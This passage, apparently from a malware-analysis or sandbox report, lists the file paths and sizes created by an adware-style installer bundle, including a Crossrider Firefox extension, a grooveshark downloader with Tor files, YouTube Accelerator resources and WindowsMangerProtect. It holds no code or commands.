    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\6ad7606e2cd079bec489fb8b646d953f.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button4.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\defaults\preferences\prefs.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\eece8b1532f355b2b1957c7281956ce9.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\47592d31d883f5f733eea2c7b3cb8ed8.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome.manifest (682 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\193.js (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button3.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button2.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\973ce4f41d9847303104697ca0c5a741.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\9a33363ed35f892730b8b923a38e8768.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\192.js (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\eebd372eef4e5ae13e00de02004b5dd1.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button5.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\288.js (969 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\b7795ad69fd65419a7800993b87d70fe.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\5af95c651f68735625ab9662ba482ad2.js (134 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\7d70236c8fd51250c238a4feab54f49b.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a2f0b7d77d3b51c7875eaa3bbf535ef4.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\8d76659805e814216638dd51d2960819.js (618 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\fad62935e654b4befee9ca2ec513f7c7.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\390.js (829 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ac50f695df18cd943793f011be9572e2.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\334.js (973 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\127bc2ccbbc65c283a140ba4c79513ce.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\e64f20b81b1963545ae1f1a47e378415.js (804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\701e44416e4d8f4405d3ceb42fd71cbb.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\extension.js (617 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\16de9413947318dc4193ded937eb02f7.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\fcd960b068e12bea94aa7c22f90c95d2.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\356.js (413 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e354273ff2c636fbf383c0d279e109bc.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\e44cce167888200b542b54dd7bcdd80a.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\ec188b03f24565ef1d665e303d03303c.js (6 bytes)
    C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)
    C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-EQ7F1.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-I7N4Q.tmp (4 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Skins\is-V731B.tmp (18 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-IA224.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-GFKGP.tmp (29430 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\SciLor's groovesharkâ„¢.com Downloader\Uninstall SciLor's groovesharkâ„¢.com Downloader.lnk (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-58420.tmp (7 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-16LBO.tmp (61 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-9C0CA.tmp (5 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-FUPQS.tmp (4 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-JIQFO.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-2G8ET.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-2SOVO.tmp (673 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\unins000.dat (4420 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-3ESUH.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-UEKCJ.tmp (8 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-61JIU.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-D28SI.tmp (1425 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-3AN7U.tmp (11168 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-R96AA.tmp (321 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-PN3OC.tmp (7 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-J4R2N.tmp (3 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-0JJS5.tmp (2105 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\is-G2U7R.tmp\_isetup\_setup64.tmp (6 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-9O0P2.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-5SSAG.tmp (5 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-8EQ8K.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-UUJDM.tmp (16158 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-8P0L2.tmp (2105 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-8H8QL.tmp (61 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Mp3Gain\is-3OAOU.tmp (601 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-Q8EAF.tmp (12 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-H4OJ8.tmp (5 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-QEVUE.tmp (7547 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-D20M2.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-B95IQ.tmp (4 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-8GRKA.tmp (7 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-KQBQK.tmp (829 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-JT9V6.tmp (26233 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\SciLor's groovesharkâ„¢.com Downloader\SciLor's groovesharkâ„¢.com Downloader on the Web.url (75 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-BE5DU.tmp (8 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-LEIUS.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-RUP09.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-3HLNJ.tmp (71155 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-RFPM8.tmp (7 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-V4M4G.tmp (7 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-MVIIE.tmp (39506 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-8PL3K.tmp (601 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-6QRBI.tmp (4 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-I63BF.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-EC3TB.tmp (950 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-A8ITT.tmp (4 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-GN5FG.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Mp3Gain\is-IOG4L.tmp (601 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-SD470.tmp (928 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Skins\is-98KDK.tmp (25 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-O60CF.tmp (4 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-84NFC.tmp (9 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\SciLor's groovesharkâ„¢.com Downloader\SciLor's groovesharkâ„¢.com Downloader.lnk (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-CO7DQ.tmp (4 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-3IJ8U.tmp (7 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-83E1K.tmp (4 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-CELNV.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-VB929.tmp (24 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-FR8CA.tmp (5 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-MCJVB.tmp (5 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-KKKAU.tmp (2321 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-UQSIN.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-CJ8F6.tmp (9 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-G0V51.tmp (4 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-MCP31.tmp (1 bytes)
    C:\Users\Public\Desktop\SciLor's groovesharkâ„¢.com Downloader.lnk (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-R2H1K.tmp (245 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-6M7TL.tmp (6 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-G50IB.tmp (43 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\is-D83D8.tmp (2105 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-9G9FO.tmp (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\is-G2U7R.tmp\_isetup\_shfoldr.dll (47 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-CB2A3.tmp (5 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\SciLors GrooveDownloader.exe (376 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-44UKK.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-RE26E.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-PL8EV.tmp (1 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Tor\is-VKC14.tmp (9605 bytes)
    %Program Files% (x86)\SciLor's grooveshark(tm).com Downloader\Language\is-MMBMS.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3316.log_tmp (493 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk3FC0.tmp (682 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk408A.tmp (682 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk3FE4.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_1888_testlsp.log_tmp (989 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\SMALLTEST[1].htm (70 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (879 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk40C2.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk4009.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3316_YouTubeAcceleratorService.log_tmp (45 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk40AD.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk3FE2.tmp (50 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk40BE.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk40C0.tmp (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk4088.tmp (242 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (187543 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk3F42.tmp (242 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1888_testlsp.log_tmp (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3268.log_tmp (14 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_1888_testlsp.log_tmp (150 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3268_YouTubeAccelerator.log_tmp (3 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk3FF7.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk3FF5.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_1888.log_tmp (815 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbk40AB.tmp (50 bytes)
    C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)
    C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\b4cbe9ed5adec14c854e2a5305d64e4a[1].htm (28260 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\eula-swiftrecord[1].htm (3902 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-istartsurf[1].htm (1059 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula[1].htm (1061 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\scilors4848[1].png (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyoLightGrayStripesBG[1].jpg (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.7 (64797 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.6 (64797 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.5 (64797 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.4 (64797 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.3 (64797 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.2 (64797 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.1 (64797 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\install.exe.0 (64797 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\608d3271d8f3494f867a2b514a49c4e9[1].htm (33108 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-youtubeaccelerator[1].htm (2712 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\tokyo_sprite_full[1].png (2348 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (768 bytes)
